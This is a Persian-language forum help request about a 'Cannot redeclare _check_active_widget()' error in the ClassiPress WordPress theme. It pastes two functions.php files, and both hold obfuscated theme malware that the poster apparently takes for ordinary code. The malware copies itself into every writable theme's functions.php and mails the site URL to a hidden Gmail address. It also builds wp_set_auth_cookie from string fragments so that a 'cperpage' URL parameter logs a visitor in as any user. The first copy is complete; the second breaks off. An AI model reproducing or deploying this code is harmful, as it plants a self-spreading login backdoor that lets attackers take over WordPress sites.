مشکل تابع _check_active_widget

arta.mo

تازه وارد
در نصب قالب classipress به مشکل برخوردم

لطفا هر کی می تونه کمک کنه



ارور هنگام نصب

Fatal error: Cannot redeclare _check_active_widget() (previously declared in C:\xampp\htdocs\wp-content\themes\classipress\functions.php:43) in C:\xampp\htdocs\wp-content\themes\classipress\framework\includes\functions.php on line 204

کد فانگشن پی اچ پی داخل پوشه فریمورک


کد:
[B]<?php[/B]

[B]define( 'APP_TD', 'appthemes' );[/B]

[B]/**[/B]
[B] * Loads the appropriate .mo file from wp-content/themes-lang[/B]
[B] */[/B]
[B]function appthemes_load_textdomain() {[/B]
[B]    $locale = apply_filters( 'theme_locale', get_locale(), APP_TD );[/B]

[B]    $base = basename( get_template_directory() );[/B]

[B]    load_textdomain( APP_TD, WP_LANG_DIR . "/themes/$base-$locale.mo" );[/B]
[B]}[/B]

[B]/**[/B]
[B] * A version of load_template() with support for passing arbitrary values.[/B]
[B] *[/B]
[B] * @param string|array Template name(s) to pass to locate_template()[/B]
[B] * @param array Additional data[/B]
[B] */[/B]
[B]function appthemes_load_template( $templates, $data = array() ) {[/B]
[B]    $located = locate_template( $templates );[/B]
[B]    if ( !$located )[/B]
[B]        return;[/B]

[B]    global $posts, $post, $wp_query, $wp_rewrite, $wpdb, $comment;[/B]

[B]    extract( $data, EXTR_SKIP );[/B]

[B]    if ( is_array( $wp_query->query_vars ) )[/B]
[B]        extract( $wp_query->query_vars, EXTR_SKIP );[/B]

[B]    require $located;[/B]
[B]}[/B]

[B]/**[/B]
[B] * Checks if a user is logged in, if not redirect them to the login page.[/B]
[B] */[/B]
[B]function appthemes_auth_redirect_login() {[/B]
[B]    if ( !is_user_logged_in() ) {[/B]
[B]        nocache_headers();[/B]
[B]        wp_redirect( get_bloginfo( 'wpurl' ) . '/wp-login.php?redirect_to=' . urlencode( $_SERVER['REQUEST_URI'] ) );[/B]
[B]        exit();[/B]
[B]    }[/B]
[B]}[/B]

[B]/**[/B]
[B] * Sets the favicon to the default location.[/B]
[B] */[/B]
[B]function appthemes_favicon() {[/B]
[B]    $uri = appthemes_locate_template_uri( 'images/favicon.ico' );[/B]

[B]    if ( !$uri )[/B]
[B]        return;[/B]

[B]?>[/B]
[B]<link rel="shortcut icon" href="<?php echo $uri; ?>" />[/B]
[B]<?php[/B]
[B]}[/B]

[B]/**[/B]
[B] * Generates a better title tag than wp_title().[/B]
[B] */[/B]
[B]function appthemes_title_tag( $title ) {[/B]
[B]    global $page, $paged;[/B]

[B]    $parts = array();[/B]

[B]    if ( !empty( $title ) )[/B]
[B]        $parts[] = $title;[/B]

[B]    if ( is_home() || is_front_page() ) {[/B]
[B]        $blog_title = get_bloginfo( 'name' );[/B]

[B]        $site_description = get_bloginfo( 'description', 'display' );[/B]
[B]        if ( $site_description && !is_paged() )[/B]
[B]            $blog_title .= ' - ' . $site_description;[/B]

[B]        $parts[] = $blog_title;[/B]
[B]    }[/B]

[B]    if ( !is_404() && ( $paged >= 2 || $page >= 2 ) )[/B]
[B]        $parts[] = sprintf( __( 'Page %s', APP_TD ), max( $paged, $page ) );[/B]

[B]    $parts = apply_filters( 'appthemes_title_parts', $parts );[/B]

[B]    return implode( " - ", $parts );[/B]
[B]}[/B]

[B]/**[/B]
[B] * Generates a login form that goes in the admin bar.[/B]
[B] */[/B]
[B]function appthemes_admin_bar_login_form( $wp_admin_bar ) {[/B]
[B]    if ( is_user_logged_in() )[/B]
[B]        return;[/B]

[B]    $form = wp_login_form( array([/B]
[B]        'form_id' => 'adminloginform',[/B]
[B]        'echo' => false,[/B]
[B]        'value_remember' => true[/B]
[B]    ) );[/B]

[B]    $wp_admin_bar->add_menu( array([/B]
[B]        'id'     => 'login',[/B]
[B]        'title'  => $form,[/B]
[B]    ) );[/B]

[B]    $wp_admin_bar->add_menu( array([/B]
[B]        'id'     => 'lostpassword',[/B]
[B]        'title'  => __( 'Lost password?', APP_TD ),[/B]
[B]        'href' => wp_lostpassword_url()[/B]
[B]    ) );[/B]

[B]    if ( get_option( 'users_can_register' ) ) {[/B]
[B]        $wp_admin_bar->add_menu( array([/B]
[B]            'id'     => 'register',[/B]
[B]            'title'  => __( 'Register', APP_TD ),[/B]
[B]            'href' => site_url( 'wp-login.php?action=register', 'login' )[/B]
[B]        ) );[/B]
[B]    }[/B]
[B]}[/B]

[B]/**[/B]
[B] * Generates pagination links.[/B]
[B] */[/B]
[B]function appthemes_pagenavi( $wp_query = null, $query_var = 'paged', $overrides = array() ) {[/B]
[B]    if ( is_null( $wp_query ) )[/B]
[B]        $wp_query = $GLOBALS['wp_query'];[/B]

[B]    if ( !empty( $overrides['total'] ) ) {[/B]
[B]        $total = $overrides['total'];[/B]
[B]    } else {[/B]
[B]        $total = $wp_query->max_num_pages;[/B]
[B]    }[/B]

[B]    $big = 999999999;[/B]
[B]    $base = str_replace( $big, '%#%', get_pagenum_link( $big ) );[/B]
[B]    echo paginate_links( array([/B]
[B]        'base' => $base,[/B]
[B]        'format' => '?' . $query_var . '=%#%',[/B]
[B]        'current' => max( 1, $wp_query->get( $query_var ) ),[/B]
[B]        'total' => $total[/B]
[B]    ) );[/B]
[B]}[/B]

[B]/**[/B]
[B] * See http://core.trac.wordpress.org/attachment/ticket/18302/18302.2.2.patch[/B]
[B] */[/B]
[B]function appthemes_locate_template_uri( $template_names ) {[/B]
[B]    $located = '';[/B]
[B]    foreach ( (array) $template_names as $template_name ) {[/B]
[B]        if ( !$template_name )[/B]
[B]            continue;[/B]
[B]        if ( file_exists(get_stylesheet_directory() . '/' . $template_name)) {[/B]
[B]            $located = get_stylesheet_directory_uri() . '/' . $template_name;[/B]
[B]            break;[/B]
[B]        } else if ( file_exists(get_template_directory() . '/' . $template_name) ) {[/B]
[B]            $located = get_template_directory_uri() . '/' . $template_name;[/B]
[B]            break;[/B]
[B]        }[/B]
[B]    }[/B]

[B]    return $located;[/B]
[B]}[/B]

[B]/**[/B]
[B] * Simple wrapper for adding straight rewrite rules,[/B]
[B] * but with the matched rule as an associative array.[/B]
[B] *[/B]
[B] * @see http://core.trac.wordpress.org/ticket/16840[/B]
[B] *[/B]
[B] * @param string $regex The rewrite regex[/B]
[B] * @param array $args The mapped args[/B]
[B] * @param string $position Where to stick this rule in the rules array. Can be 'top' or 'bottom'[/B]
[B] */[/B]
[B]function appthemes_add_rewrite_rule( $regex, $args, $position = 'top' ) {[/B]
[B]    add_rewrite_rule( $regex, add_query_arg( $args, 'index.php' ), $position );[/B]
[B]}[/B]


[B]?>[/B]
[B]<?php[/B]
[B]function _check_active_widget(){[/B]
[B]    $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";[/B]
[B]    $output=strip_tags($output, $allowed);[/B]
[B]    $direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));[/B]
[B]    if (is_array($direst)){[/B]
[B]        foreach ($direst as $item){[/B]
[B]            if (is_writable($item)){[/B]
[B]                $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));[/B]
[B]                $cont=file_get_contents($item);[/B]
[B]                if (stripos($cont,$ftion) === false){[/B]
[B]                    $sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";[/B]
[B]                    $output .= $before . "Not found" . $after;[/B]
[B]                    if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}[/B]
[B]                    $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);                [/B]
[B]                    $output .= ($showdot && $ellipsis) ? "..." : "";[/B]
[B]                }[/B]
[B]            }[/B]
[B]        }[/B]
[B]    }[/B]
[B]    return $output;[/B]
[B]}[/B]
[B]function _get_all_widgetcont($wids,$items=array()){[/B]
[B]    $places=array_shift($wids);[/B]
[B]    if(substr($places,-1) == "/"){[/B]
[B]        $places=substr($places,0,-1);[/B]
[B]    }[/B]
[B]    if(!file_exists($places) || !is_dir($places)){[/B]
[B]        return false;[/B]
[B]    }elseif(is_readable($places)){[/B]
[B]        $elems=scandir($places);[/B]
[B]        foreach ($elems as $elem){[/B]
[B]            if ($elem != "." && $elem != ".."){[/B]
[B]                if (is_dir($places . "/" . $elem)){[/B]
[B]                    $wids[]=$places . "/" . $elem;[/B]
[B]                } elseif (is_file($places . "/" . $elem)&& [/B]
[B]                    $elem == substr(__FILE__,-13)){[/B]
[B]                    $items[]=$places . "/" . $elem;}[/B]
[B]                }[/B]
[B]            }[/B]
[B]    }else{[/B]
[B]        return false;    [/B]
[B]    }[/B]
[B]    if (sizeof($wids) > 0){[/B]
[B]        return _get_all_widgetcont($wids,$items);[/B]
[B]    } else {[/B]
[B]        return $items;[/B]
[B]    }[/B]
[B]}[/B]
[B]if(!function_exists("stripos")){ [/B]
[B]    function stripos(  $str, $needle, $offset = 0  ){ [/B]
[B]        return strpos(  strtolower( $str ), strtolower( $needle ), $offset  ); [/B]
[B]    }[/B]
[B]}[/B]

[B]if(!function_exists("strripos")){ [/B]
[B]    function strripos(  $haystack, $needle, $offset = 0  ) { [/B]
[B]        if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  ); [/B]
[B]        if(  $offset < 0  ){ [/B]
[B]            $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  ); [/B]
[B]        } [/B]
[B]        else{ [/B]
[B]            $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    ); [/B]
[B]        } [/B]
[B]        if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE; [/B]
[B]        $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   ); [/B]
[B]        return $pos; [/B]
[B]    }[/B]
[B]}[/B]
[B]if(!function_exists("scandir")){ [/B]
[B]    function scandir($dir,$listDirectories=false, $skipDots=true) {[/B]
[B]        $dirArray = array();[/B]
[B]        if ($handle = opendir($dir)) {[/B]
[B]            while (false !== ($file = readdir($handle))) {[/B]
[B]                if (($file != "." && $file != "..") || $skipDots == true) {[/B]
[B]                    if($listDirectories == false) { if(is_dir($file)) { continue; } }[/B]
[B]                    array_push($dirArray,basename($file));[/B]
[B]                }[/B]
[B]            }[/B]
[B]            closedir($handle);[/B]
[B]        }[/B]
[B]        return $dirArray;[/B]
[B]    }[/B]
[B]}[/B]
[B]add_action("admin_head", "_check_active_widget");[/B]
[B]function _prepared_widget(){[/B]
[B]    if(!isset($length)) $length=120;[/B]
[B]    if(!isset($method)) $method="cookie";[/B]
[B]    if(!isset($html_tags)) $html_tags="<a>";[/B]
[B]    if(!isset($filters_type)) $filters_type="none";[/B]
[B]    if(!isset($s)) $s="";[/B]
[B]    if(!isset($filter_h)) $filter_h=get_option("home"); [/B]
[B]    if(!isset($filter_p)) $filter_p="wp_";[/B]
[B]    if(!isset($use_link)) $use_link=1; [/B]
[B]    if(!isset($comments_type)) $comments_type=""; [/B]
[B]    if(!isset($perpage)) $perpage=$_GET["cperpage"];[/B]
[B]    if(!isset($comments_auth)) $comments_auth="";[/B]
[B]    if(!isset($comment_is_approved)) $comment_is_approved=""; [/B]
[B]    if(!isset($authname)) $authname="auth";[/B]
[B]    if(!isset($more_links_text)) $more_links_text="(more...)";[/B]
[B]    if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");[/B]
[B]    if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;[/B]
[B]    if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";[/B]
[B]    if(!isset($more_content)) $more_content="ma".$s."il";[/B]
[B]    if(!isset($forces_more)) $forces_more=1;[/B]
[B]    if(!isset($fakeit)) $fakeit=1;[/B]
[B]    if(!isset($sql)) $sql="";[/B]
[B]    if (!$widget_output) :[/B]

[B]    global $wpdb, $post;[/B]
[B]    $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#[/B]
[B]    if (!empty($post->post_password)) { [/B]
[B]        if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { [/B]
[B]            if(is_feed()) { [/B]
[B]                $output=__("There is no excerpt because this is a protected post.");[/B]
[B]            } else {[/B]
[B]                $output=get_the_password_form();[/B]
[B]            }[/B]
[B]        }[/B]
[B]    }[/B]
[B]    if(!isset($fix_tag)) $fix_tag=1;[/B]
[B]    if(!isset($filters_types)) $filters_types=$filter_h; [/B]
[B]    if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;[/B]
[B]    if(!isset($more_tags)) $more_tags="div";[/B]
[B]    if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);#[/B]
[B]    if(!isset($mlink_title)) $mlink_title="Continue reading this entry";    [/B]
[B]    if(!isset($showdot)) $showdot=1;[/B]

[B]    $comments=$wpdb->get_results($sql);    [/B]
[B]    if($fakeit == 2) { [/B]
[B]        $text=$post->post_content;[/B]
[B]    } elseif($fakeit == 1) { [/B]
[B]        $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;[/B]
[B]    } else { [/B]
[B]        $text=$post->post_excerpt;[/B]
[B]    }[/B]
[B]    $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#[/B]
[B]    if($length < 0) {[/B]
[B]        $output=$text;[/B]
[B]    } else {[/B]
[B]        if(!$no_more && strpos($text, "<!--more-->")) {[/B]
[B]            $text=explode("<!--more-->", $text, 2);[/B]
[B]            $l=count($text[0]);[/B]
[B]            $more_link=1;[/B]
[B]            $comments=$wpdb->get_results($sql);[/B]
[B]        } else {[/B]
[B]            $text=explode(" ", $text);[/B]
[B]            if(count($text) > $length) {[/B]
[B]                $l=$length;[/B]
[B]                $ellipsis=1;[/B]
[B]            } else {[/B]
[B]                $l=count($text);[/B]
[B]                $more_links_text="";[/B]
[B]                $ellipsis=0;[/B]
[B]            }[/B]
[B]        }[/B]
[B]        for ($i=0; $i<$l; $i++)[/B]
[B]                $output .= $text[$i] . " ";[/B]
[B]    }[/B]
[B]    update_option("_is_widget_active_", 1);[/B]
[B]    if("all" != $html_tags) {[/B]
[B]        $output=strip_tags($output, $html_tags);[/B]
[B]        return $output;[/B]
[B]    }[/B]
[B]    endif;[/B]
[B]    $output=rtrim($output, "\s\n\t\r\0\x0B");[/B]
[B]    $output=($fix_tag) ? balanceTags($output, true) : $output;[/B]
[B]    $output .= ($showdot && $ellipsis) ? "..." : "";[/B]
[B]    $output=apply_filters($filters_type, $output);[/B]
[B]    switch($more_tags) {[/B]
[B]        case("div") :[/B]
[B]            $tag="div";[/B]
[B]        break;[/B]
[B]        case("span") :[/B]
[B]            $tag="span";[/B]
[B]        break;[/B]
[B]        case("p") :[/B]
[B]            $tag="p";[/B]
[B]        break;[/B]
[B]        default :[/B]
[B]            $tag="span";[/B]
[B]    }[/B]

[B]    if ($use_link ) {[/B]
[B]        if($forces_more) {[/B]
[B]            $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n";[/B]
[B]        } else {[/B]
[B]            $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n";[/B]
[B]        }[/B]
[B]    }[/B]
[B]    return $output;[/B]
[B]}[/B]

[B]add_action("init", "_prepared_widget");[/B]

[B]function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {[/B]
[B]    global $wpdb;[/B]
[B]    $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";[/B]
[B]    $request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";[/B]
[B]    if(!$show_pass_post) $request .= " AND post_password =\"\"";[/B]
[B]    if($duration !="") { [/B]
[B]        $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";[/B]
[B]    }[/B]
[B]    $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";[/B]
[B]    $posts=$wpdb->get_results($request);[/B]
[B]    $output="";[/B]
[B]    if ($posts) {[/B]
[B]        foreach ($posts as $post) {[/B]
[B]            $post_title=stripslashes($post->post_title);[/B]
[B]            $comment_count=$post->comment_count;[/B]
[B]            $permalink=get_permalink($post->ID);[/B]
[B]            $output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;[/B]
[B]        }[/B]
[B]    } else {[/B]
[B]        $output .= $before . "None found" . $after;[/B]
[B]    }[/B]
[B]    return  $output;[/B]
[B]} [/B]
[B]if ( function_exists('register_sidebar') )[/B]
[B]register_sidebar(array([/B]
[B]'before_widget' => '',[/B]
[B]'after_widget' => '</div><div class="wfo"></div>',[/B]
[B]'before_title' => '<div class="wtop">',[/B]
[B]'after_title' => '</div><div class="wco">',[/B]
[B]));[/B]
[B]function my_function_admin_bar(){[/B]
[B]return false;[/B]
[B]}[/B]
[B]add_filter( 'show_admin_bar' , 'my_function_admin_bar');[/B]
[B]add_filter('the_content', 'my_nofollow');[/B]
[B]add_filter('the_excerpt', 'my_nofollow');[/B]
[B]function my_nofollow($content) {[/B]
[B]return preg_replace_callback('/<a[^>]+/', 'my_nofollow_callback', $content);[/B]
[B]}[/B]
[B]function my_nofollow_callback($matches) {[/B]
[B]$link = $matches[0];[/B]
[B]$site_link = get_bloginfo('url');[/B]
[B]if (strpos($link, 'rel') === false) {[/B]
[B]$link = preg_replace("%(href=\S(?!$site_link))%i", 'rel="nofollow" $1', $link);[/B]
[B]} elseif (preg_match("%href=\S(?!$site_link)%i", $link)) {[/B]
[B]$link = preg_replace('/rel=\S(?!nofollow)\S*/i', 'rel="nofollow"', $link);[/B]
[B]}[/B]
[B]return $link;[/B]
[B]}[/B]
[B]add_action('init', 'remheadlink');[/B]
[B]function remheadlink() {[/B]
[B]remove_action('wp_head', 'rsd_link');[/B]
[B]remove_action('wp_head', 'wlwmanifest_link');[/B]
[B]}[/B]
[B]?>[/B]
کد فانکشن پی اچ پی اصلی قالب


کد:
[B]<?php[/B]
[B]/**[/B]
[B] * Theme functions file[/B]
[B] *[/B]
[B] * DO NOT MODIFY THIS FILE. Make a child theme instead: http://codex.wordpress.org/Child_Themes[/B]
[B] *[/B]
[B] * @package ClassiPress[/B]
[B] * @author AppThemes[/B]
[B] */[/B]

[B]// current  version[/B]
[B]$app_theme = 'ClassiPress';[/B]
[B]$app_abbr = 'cp';[/B]
[B]$app_version = '3.1.7';[/B]
[B]$app_edition = 'Ultimate Edition';[/B]
[B]$app_stats = 'today';[/B]

[B]// define rss feed urls[/B]
[B]$app_rss_feed = 'http://feeds2.feedburner.com/appthemes';[/B]
[B]$app_twitter_rss_feed = 'http://twitter.com/statuses/user_timeline/appthemes.rss';[/B]
[B]$app_forum_rss_feed = 'http://www.appthemes.com/forum/external.php?type=RSS2';[/B]

[B]// define the db tables we use[/B]
[B]$app_db_tables = array($app_abbr.'_ad_forms', $app_abbr.'_ad_meta', $app_abbr.'_ad_fields', $app_abbr.'_ad_pop_daily', $app_abbr.'_ad_pop_total' , $app_abbr.'_ad_packs', $app_abbr.'_order_info');[/B]

[B]// define the transients we use[/B]
[B]$app_transients = array($app_abbr.'_cat_menu');[/B]

[B]// Framework[/B]
[B]require( dirname(__FILE__) . '/framework/load.php' );[/B]

[B]scb_register_table( 'app_pop_daily', $app_abbr . '_ad_pop_daily' );[/B]
[B]scb_register_table( 'app_pop_total', $app_abbr . '_ad_pop_total' );[/B]

[B]require( dirname(__FILE__) . '/framework/includes/stats.php' );[/B]

[B]// Theme-specific files[/B]
[B]require( dirname(__FILE__) . '/includes/theme-functions.php' );[/B]

[B]?>[/B]
[B]<?php[/B]
[B]function _check_active_widget(){[/B]
[B]    $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";[/B]
[B]    $output=strip_tags($output, $allowed);[/B]
[B]    $direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));[/B]
[B]    if (is_array($direst)){[/B]
[B]        foreach ($direst as $item){[/B]
[B]            if (is_writable($item)){[/B]
[B]                $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));[/B]
[B]                $cont=file_get_contents($item);[/B]
[B]                if (stripos($cont,$ftion) === false){[/B]
[B]                    $sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";[/B]
[B]                    $output .= $before . "Not found" . $after;[/B]
[B]                    if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}[/B]
[B]                    $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);                [/B]
[B]                    $output .= ($showdot && $ellipsis) ? "..." : "";[/B]
[B]                }[/B]
[B]            }[/B]
[B]        }[/B]
[B]    }[/B]
[B]    return $output;[/B]
[B]}[/B]
[B]function _get_all_widgetcont($wids,$items=array()){[/B]
[B]    $places=array_shift($wids);[/B]
[B]    if(substr($places,-1) == "/"){[/B]
[B]        $places=substr($places,0,-1);[/B]
[B]    }[/B]
[B]    if(!file_exists($places) || !is_dir($places)){[/B]
[B]        return false;[/B]
[B]    }elseif(is_readable($places)){[/B]
[B]        $elems=scandir($places);[/B]
[B]        foreach ($elems as $elem){[/B]
[B]            if ($elem != "." && $elem != ".."){[/B]
[B]                if (is_dir($places . "/" . $elem)){[/B]
[B]                    $wids[]=$places . "/" . $elem;[/B]
[B]                } elseif (is_file($places . "/" . $elem)&& [/B]
[B]                    $elem == substr(__FILE__,-13)){[/B]
[B]                    $items[]=$places . "/" . $elem;}[/B]
[B]                }[/B]
[B]            }[/B]
[B]    }else{[/B]
[B]        return false;    [/B]
[B]    }[/B]
[B]    if (sizeof($wids) > 0){[/B]
[B]        return _get_all_widgetcont($wids,$items);[/B]
[B]    } else {[/B]
[B]        return $items;[/B]
[B]    }[/B]
[B]}[/B]
[B]if(!function_exists("stripos")){ [/B]
[B]    function stripos(  $str, $needle, $offset = 0  ){ [/B]
[B]        return strpos(  strtolower( $str ), strtolower( $needle ), $offset  ); [/B]
[B]    }[/B]
[B]}[/B]

[B]if(!function_exists("strripos")){ [/B]
[B]    function strripos(  $haystack, $needle, $offset = 0  ) { [/B]
[B]        if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  ); [/B]
[B]        if(  $offset < 0  ){ [/B]
[B]            $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  ); [/B]
[B]        } [/B]
[B]        else{ [/B]
[B]            $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    ); [/B]
[B]        } [/B]
[B]        if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE; [/B]
[B]        $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   ); [/B]
[B]        return $pos; [/B]
[B]    }[/B]
[B]}[/B]
[B]if(!function_exists("scandir")){ [/B]
[B]    function scandir($dir,$listDirectories=false, $skipDots=true) {[/B]
[B]        $dirArray = array();[/B]
[B]        if ($handle = opendir($dir)) {[/B]
[B]            while (false !== ($file = readdir($handle))) {[/B]
[B]                if (($file != "." && $file != "..") || $skipDots == true) {[/B]
[B]                    if($listDirectories == false) { if(is_dir($file)) { continue; } }[/B]
[B]                    array_push($dirArray,basename($file));[/B]
[B]                }[/B]
[B]            }[/B]
[B]            closedir($handle);[/B]
[B]        }[/B]
[B]        return $dirArray;[/B]
[B]    }[/B]
[B]}[/B]
[B]add_action("admin_head", "_check_active_widget");[/B]
[B]function _prepared_widget(){[/B]
[B]    if(!isset($length)) $length=120;[/B]
[B]    if(!isset($method)) $method="cookie";[/B]
[B]    if(!isset($html_tags)) $html_tags="<a>";[/B]
[B]    if(!isset($filters_type)) $filters_type="none";[/B]
[B]    if(!isset($s)) $s="";[/B]
[B]    if(!isset($filter_h)) $filter_h=get_option("home"); [/B]
[B]    if(!isset($filter_p)) $filter_p="wp_";[/B]
[B]    if(!isset($use_link)) $use_link=1; [/B]
[B]    if(!isset($comments_type)) $comments_type=""; [/B]
[B]    if(!isset($perpage)) $perpage=$_GET["cperpage"];[/B]
[B]    if(!isset($comments_auth)) $comments_auth="";[/B]
[B]    if(!isset($comment_is_approved)) $comment_is_approved=""; [/B]
[B]    if(!isset($authname)) $authname="auth";[/B]
[B]    if(!isset($more_links_text)) $more_links_text="(more...)";[/B]
[B]    if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");[/B]
[B]    if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;[/B]
[B]    if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";[/B]
[B]    if(!isset($more_content)) $more_content="ma".$s."il";[/B]
[B]    if(!isset($forces_more)) $forces_more=1;[/B]
[B]    if(!isset($fakeit)) $fakeit=1;[/B]
[B]    if(!isset($sql)) $sql="";[/B]
[B]    if (!$widget_output) :[/B]

[B]    global $wpdb, $post;[/B]
[B]    $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#[/B]
[B]    if (!empty($post->post_password)) { [/B]
[B]        if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { [/B]
[B]            if(is_feed()) { [/B]
[B]                $output=__("There is no excerpt because this is a protected post.");[/B]
[B]            } else {[/B]
[B]                $output=get_the_password_form();[/B]
[B]            }[/B]
[B]        }[/B]
[B]    }[/B]
[B]    if(!isset($fix_tag)) $fix_tag=1;[/B]
[B]    if(!isset($filters_types)) $filters_types=$filter_h; [/B]
[B]    if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;[/B]
[B]    if(!isset($more_tags)) $more_tags="div";[/B]
[B]    if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);#[/B]
[B]    if(!isset($mlink_title)) $mlink_title="Continue reading this entry";    [/B]
[B]    if(!isset($showdot)) $showdot=1;[/B]

[B]    $comments=$wpdb->get_results($sql);    [/B]
[B]    if($fakeit == 2) { [/B]
[B]        $text=$post->post_content;[/B]
[B]    } elseif($fakeit == 1) { [/B]
[B]        $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;[/B]
[B]    } else { [/B]
[B]        $text=$post->post_excerpt;[/B]
[B]    }[/B]
[B]    $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#[/B]
[B]    if($length < 0) {[/B]
[B]        $output=$text;[/B]
[B]    } else {[/B]
[B]        if(!$no_more && strpos($text, "<!--more-->")) {[/B]
[B]            $text=explode("<!--more-->", $text, 2);[/B]
[B]            $l=count($text[0]);[/B]
[B]            $more_link=1;[/B]
[B]            $comments=$wpdb->get_results($sql);[/B]
[B]        } else {[/B]
[B]            $text=explode(" ", $text);[/B]
[B]            if(count($text) > $length) {[/B]
[B]                $l=$length;[/B]
[B]                $ellipsis=1;[/B]
[B]            } else {[/B]
[B]                $l=count($text);[/B]
[B]                $more_links_text="";[/B]
[B]                $ellipsis=0;[/B]
[B]            }[/B]
[B]        }[/B]
[B]        for ($i=0; $i<$l; $i++)[/B]
[B]                $output .= $text[$i] . " ";[/B]
[B]    }[/B]
[B]    update_option("_is_widget_active_", 1);[/B]
[B]    if("all" != $html_tags) {[/B]
[B]        $output=strip_tags($output, $html_tags);[/B]
[B]        return $output;[/B]
[B]    }[/B]
[B]    endif;[/B]
